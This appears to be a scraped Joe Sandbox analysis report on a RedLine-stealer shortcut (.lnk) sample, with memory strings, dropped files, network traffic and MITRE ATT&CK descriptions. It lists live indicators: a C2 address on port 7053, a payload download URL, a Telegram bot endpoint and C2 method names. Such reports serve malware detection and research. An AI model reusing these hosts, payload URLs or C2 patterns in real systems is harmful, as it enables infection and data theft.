Instruction ID: f646550146f88c53b8092008f43d4fcb277a5d923c34d339a6104a3c86cf1bbd
Opcode Fuzzy Hash: dc585835646f5c0c7b041588c693da8b5541355703cc1895d87157f87e9ff01d
Instruction Fuzzy Hash: 65D0A77FD4A2C44ED70619A46E061303F63F95383632D80CFDC8586203E91184077387

Uniqueness

Uniqueness Score: -1.00%

Function 05784A88 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.592697207.0000000005780000.00000040.00000800.00020000.00000000.sdmp, Offset: 05780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5780000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a642d1613707c3a7c554c65c62ed150c9b6be6a0e607c09c8d2d4e54d901d984
Instruction ID: 33338103c4d88d86b5e85173d83867cffa07d926ea99c20edc1e801627e54049
Opcode Fuzzy Hash: a642d1613707c3a7c554c65c62ed150c9b6be6a0e607c09c8d2d4e54d901d984
Instruction Fuzzy Hash: 49D0A7343101108FC6009B18E408D9677E9EB48A21B018096F905C7360CEB1EC0087C0

Uniqueness

Uniqueness Score: -1.00%

Function 057EF2F8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.593858962.00000000057E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_57e0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ed85ef8603aa6aec3a162217da4826b867263ce1669d1efb848c0d9011b9d3d
Instruction ID: 0e2e94446d03dc0fb76d96a0e03c1022509378f641d8fec250a3ea91b647408b
Opcode Fuzzy Hash: 9ed85ef8603aa6aec3a162217da4826b867263ce1669d1efb848c0d9011b9d3d
Instruction Fuzzy Hash: 4DD0123654E3845FD70356D07C28BD57F306B37200F1A7087E1E28A1A2D6105404E735

Uniqueness

Uniqueness Score: -1.00%

Function 05783910 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.592697207.0000000005780000.00000040.00000800.00020000.00000000.sdmp, Offset: 05780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5780000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59bee7853445b9dd5a91941d22f8ba986255c279481a0f1212dca2fa67304f22
Instruction ID: 477f72bac9a3a1a33fc3d888f4d054a5bdf9d57e917618be68b7c885896e0e42
Opcode Fuzzy Hash: 59bee7853445b9dd5a91941d22f8ba986255c279481a0f1212dca2fa67304f22
Instruction Fuzzy Hash: AEC02B7854C9401BDE11955C9C0CFA02F024B33706F010680E038CA1D3A00000016620

Uniqueness

Uniqueness Score: -1.00%

Function 05788B0E Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.592697207.0000000005780000.00000040.00000800.00020000.00000000.sdmp, Offset: 05780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5780000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f80f9be7b0909770430a82d449b62760851940c39ef612b4614348764968bb
Instruction ID: 7a4179df5f1ada64c68ef6c2713f4194ca2605627d8cc00f787c7621bc59ac73
Opcode Fuzzy Hash: 39f80f9be7b0909770430a82d449b62760851940c39ef612b4614348764968bb
Instruction Fuzzy Hash: 05C09B3631051497C9509B55F4444DDB725FBC4B36300CE26F14D46515DF34B55547C1

Uniqueness

Uniqueness Score: -1.00%

Source: svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.26.192.248:7053
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.26.192.248:7053/
Source: svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.26.192.248:70534
Source: powershell.exe, 00000000.00000002.381690727.000001D9F43C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svhost.exe, 00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: powershell.exe, 00000000.00000002.378116200.000001D9EC443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.328014232.000001D9DD5E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://oiartzunirratia.eus
Source: powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: svhost.exe, 00000007.00000002.587473199.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svhost.exe, 00000007.00000002.587473199.0000000003303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/D
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: powershell.exe, 00000000.00000002.328014232.000001D9DC2A1000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: svhost.exe, 00000007.00000002.587473199.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: svhost.exe, 00000007.00000002.587473199.00000000032FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/
Source: svhost.exe, 00000007.00000002.587473199.00000000032EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: svhost.exe, 00000007.00000002.587473199.0000000003261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: svhost.exe, 00000002.00000002.424099399.0000000003173000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 00000009.00000002.587061238.000000000352F000.00000004.00000800.00020000.00000000.sdmp, Opgcxhsdw.exe, 0000000A.00000002.587414248.00000000025CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.328014232.000001D9DDB4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: svhost.exe, 00000002.00000002.428265959.0000000004151000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.424099399.0000000003278000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000007.00000002.580544741.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: powershell.exe, 00000000.00000002.378116200.000001D9EC443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.378116200.000001D9EC301000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.328014232.000001D9DD5D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oiartzunirratia.eus
Source: powershell.exe, 00000000.00000002.327507977.000001D9DA359000.00000004.00000020.00020000.00000000.sdmp, 07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk	String found in binary or memory: https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe
Source: powershell.exe, 00000000.00000002.328014232.000001D9DC4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oiartzunirratia.eus/install/clean/Lcovlccdxd.exe0y
Source: powershell.exe, 00000000.00000002.328014232.000001D9DD5E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oiartzunirratia.eusx
Source: svhost.exe, 00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.newtonsoft.com/jsonschema
Source: svhost.exe, 00000002.00000002.457069212.00000000056E0000.00000004.08000000.00040000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004197000.00000004.00000800.00020000.00000000.sdmp, svhost.exe, 00000002.00000002.428265959.0000000004760000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.nuget.org/packages/Newtonsoft.Json.Bson

Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen
Source: C:\Users\user\AppData\Roaming\svhost.exe	Avira: detection malicious, Label: TR/Dropper.MSIL.Gen

Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Roaming\svhost.exe	ReversingLabs: Detection: 41%

Source: C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\svhost.exe	Joe Sandbox ML: detected

Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248
Source: unknown	TCP traffic detected without corresponding DNS query: 194.26.192.248

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svhost.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2dl1g21b.4iv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2tkd4yp5.4vu.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4tbik0zf.2rj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o0spqkob.y12.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pndsvao1.r4t.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tq0dbqin.drf.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wnsrzb1y.ojp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xeyz4iyq.hlj.psm1

C:\Users\user\AppData\Roaming\Hribpuz\Opgcxhsdw.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3f5c690594e955e6.customDestinations-ms (copy)

Windows Analysis Report
07ff580e-3cfd-4c41-a92e-4ba534dd1a0a.lnk

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre